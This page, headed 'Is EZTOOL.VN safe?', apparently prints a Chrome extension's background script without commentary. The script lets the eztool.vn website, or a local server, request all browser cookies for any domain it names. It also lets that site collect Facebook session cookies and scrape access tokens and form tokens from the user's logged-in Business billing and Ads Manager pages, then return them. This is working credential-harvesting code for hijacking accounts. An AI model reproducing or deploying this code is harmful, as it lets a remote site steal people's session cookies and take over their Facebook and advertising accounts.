Is EZTOOL.VN safe?

function isAllowedExternalSender(sender) {  if (!sender || !sender.url) return false;  const url = new URL(sender.url);  const localhost = url.protocol === 'http:' && url.hostname === 'localhost' && url.port === '3030';  const eztool = url.protocol === 'https:' && (url.hostname === 'eztool.vn' || url.hostname.endsWith('.eztool.vn'));  return localhost || eztool;}

chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {  if (!isAllowedExternalSender(sender)) {    sendResponse(errorResponse(message, 'PERMISSION_DENIED', 'Sender is not allowed'));    return false;  }  (async () => {    if (isActionEnvelope(message)) {      sendResponse(await routeAction(String(message.action), message.payload || {}, sender));      return;    }    const request = normalizeBridgeMessage(message);    sendResponse(successResponse(request, await routeBridgeMessage(request, sender)));  })().catch((error) => {    sendResponse(errorResponse(message, error.code || 'REQUEST_FAILED', error.message || 'Request failed'));  });  return true;});

async function routeAction(action, payload, sender) {  switch (action) {    case 'GET_FACEBOOK_SESSION_INFO':      return getFacebookSessionInfo(payload || {});    case 'GET_ALL_COOKIES':      return chrome.cookies.getAll({ domain: String(payload && payload.domain || '') });    case 'GET_COOKIE':      return chrome.cookies.get({ url: String(payload && payload.url || ''), name: String(payload && payload.name || '') });    default:      return otherSupportedActions(action, payload, sender);  }}

async function routeBridgeMessage(request, sender) {  if (request.type === 'getCookie') {    const domain = String(request.payload && request.payload.domain || 'facebook.com').trim() || 'facebook.com';    return (await chrome.cookies.getAll({ domain })).map((cookie) => cookie.name + '=' + cookie.value).join('; ');  }  if (request.type === 'bridge:invoke') {    return routeBridgeChannel(request.payload, sender);  }  return otherSupportedBridgeMessages(request, sender);}

async function routeBridgeChannel(payload, sender) {  const channel = String(payload && payload.channel || '').trim();  const args = Array.isArray(payload && payload.args) ? payload.args : [];  if (channel === 'ext:get-cookie' || channel === 'cookie:get') {    const domain = String(args[0] && args[0].domain || 'facebook.com').trim() || 'facebook.com';    return (await chrome.cookies.getAll({ domain })).map((cookie) => cookie.name + '=' + cookie.value).join('; ');  }  return otherSupportedBridgeChannels(channel, args, sender);}

function getAllCookies(filter) {  return new Promise((resolve, reject) => {    chrome.cookies.getAll(filter || {}, (cookies) => {      if (chrome.runtime.lastError) reject(new Error(chrome.runtime.lastError.message || 'Cannot read cookies'));      else resolve(Array.isArray(cookies) ? cookies : []);    });  });}

async function getWithBrowserCredentials(url, headers) {  const response = await fetch(url, {    method: 'GET',    credentials: 'include',    redirect: 'follow',    headers: headers || { accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' }  });  return { ok: response.ok, status: response.status, url: response.url, text: await response.text() };}

async function readBusinessBillingTokens() {  let page = await getWithBrowserCredentials('https://business.facebook.com/billing_hub/payment_settings/');  let finalUrl = String(page && page.url || '');  let html = String(page && page.text || '');  if (finalUrl.includes('/select/')) {    const marker = '"businessID":"';    const start = html.indexOf(marker);    if (start >= 0) {      const valueStart = start + marker.length;      const valueEnd = html.indexOf('","', valueStart);      if (valueEnd >= 0) {        const businessId = html.slice(valueStart, valueEnd);        page = await getWithBrowserCredentials('https://business.facebook.com/billing_hub/accounts?business_id=' + encodeURIComponent(businessId));        finalUrl = String(page && page.url || finalUrl);        html = String(page && page.text || html);      }    }  }  const checkpoint = checkFacebookCheckpoint(finalUrl, html);  if (checkpoint) throw unsupported(checkpoint);  const tokens = parseBillingTokens(html, false);  if (!tokens) throw new Error('Cannot parse Facebook tokens from billing_hub');  return tokens;}

async function readAdsManagerTokens() {  let page = await getWithBrowserCredentials('https://adsmanager.facebook.com/adsmanager/manage/campaigns');  let finalUrl = String(page && page.url || '');  let html = String(page && page.text || '');  const redirectMatch = html.match(/window\.location\.replace\("(.+)"/);  const redirectUrl = redirectMatch && redirectMatch[1] ? String(redirectMatch[1]).replace(/\\/g, '') : '';  if (redirectUrl) {    page = await getWithBrowserCredentials(redirectUrl);    finalUrl = String(page && page.url || finalUrl);    html = String(page && page.text || html);  }  const checkpoint = checkFacebookCheckpoint(finalUrl, html);  if (checkpoint) throw unsupported(checkpoint);  const accessToken = html.match(/window\.__accessToken="([^"]+)";/);  if (!accessToken || !accessToken[1]) throw new Error('Cannot parse secondary Facebook tokens from adsmanager');  const formTokens = parseFormTokens(html);  return { accessToken2: String(accessToken[1]).trim(), accessToken: String(accessToken[1]).trim(), dtsg: formTokens.dtsg, dtsg2: formTokens.dtsg2, lsd: formTokens.lsd };}

async function getFacebookSessionInfo(payload) {  const cUser = (await getAllCookies({ domain: '.facebook.com' })).find((cookie) => cookie && cookie.name === 'c_user');  const uid = String(payload && payload.uid || cUser && cUser.value || '').trim();  if (!uid) return { uid: '', name: '', accessToken: '', accessToken2: '', tokenCandidates: [] };  const primary = await readBusinessBillingTokens().catch(readBusinessUsersTokens);  const secondary = await readAdsManagerTokens().catch(readAdsBootloaderTokens);  const accessToken = String(primary.accessToken || primary.token || secondary.accessToken || '').trim();  const accessToken2 = String(secondary.accessToken2 || secondary.accessToken || '').trim();  const user = await fetchFacebookUser(accessToken);  await cacheFacebookAuth({ uid, accessToken, accessToken2, dtsg: primary.dtsg || secondary.dtsg || '', dtsg2: secondary.dtsg2 || primary.dtsg2 || '', lsd: secondary.lsd || primary.lsd || '', user });  return { uid: uid || String(user && user.id || '').trim(), name: String(user && user.name || ''), accessToken, accessToken2, dtsg: primary.dtsg || secondary.dtsg || '', dtsg2: secondary.dtsg2 || primary.dtsg2 || '', lsd: secondary.lsd || primary.lsd || '', user: user && typeof user === 'object' ? user : null };}